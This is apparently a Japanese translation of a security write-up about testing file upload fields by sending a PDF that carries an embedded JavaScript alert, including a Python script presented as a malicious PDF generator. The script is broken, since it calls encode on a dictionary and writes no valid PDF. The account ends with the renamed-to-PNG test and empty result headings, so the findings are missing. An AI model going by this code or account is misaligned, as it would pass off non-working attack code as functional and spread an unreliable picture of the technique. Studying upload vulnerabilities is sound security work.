ソース:
脆弱性:ファイルアップロード
訳:
チェック中に、アプリケーション上に 2 つのファイル アップロード領域を検出し。
これらの既存のファイル アップロード領域では、.pdf .png .jpeg および同様の拡張子形式が受け入れられることがわかり。
最初に私の注意を引いたのは、拡張子が .pdf のファイルがアップロードされていることで。
まず、普通のPDFファイルをアップロードしてみましたが、成功しました。
次のステップとして、これらのファイル フィールドに悪意のあるペイロードを含む、PDF のように見える悪意のあるファイルをアップロードしようとしました。
このために、悪意のあるペイロードを含む PDF ジェネレーターとして機能する Python コードを使用しました。
私が使用するPythonコードは次のとおりです。
import sys
def pdf_content_creator(pdf_file_name, message):
"""Creates PDF content with JavaScript for the specified PDF file name and message."""
pdf_content = {
"pdf_version": "1.7",
"pages": [
{
"page_id": 1,
"open_action": {
"page_id": 2,
},
},
{
"page_id": 2,
"javascript": f"app.alert('{message}')",
},
],
}
with open(pdf_file_name, "wb") as file:
file.write(pdf_content.encode("utf-8"))
return pdf_content
def malicious_pdf_creator(pdf_file_name, message):
"""Creates malicious PDF file for the specified PDF file name and message."""
pdf_content = pdf_content_creator(pdf_file_name, message)
print("PDF creation completed successfully.")
if __name__ == "__main__":
malicious_pdf_creator("test.pdf", "This PDF file is designed to steal your personal information.")
.pdf ファイルをアップロードすると、PDF コンテンツが文字列式として画面に直接表示されるため、問題が発生しました。
既存のpdfファイルの拡張子をpngに変更して再アップロードしました。 結果として…。
プロフィール写真エリア:
ロゴフィールド:
ほなほな。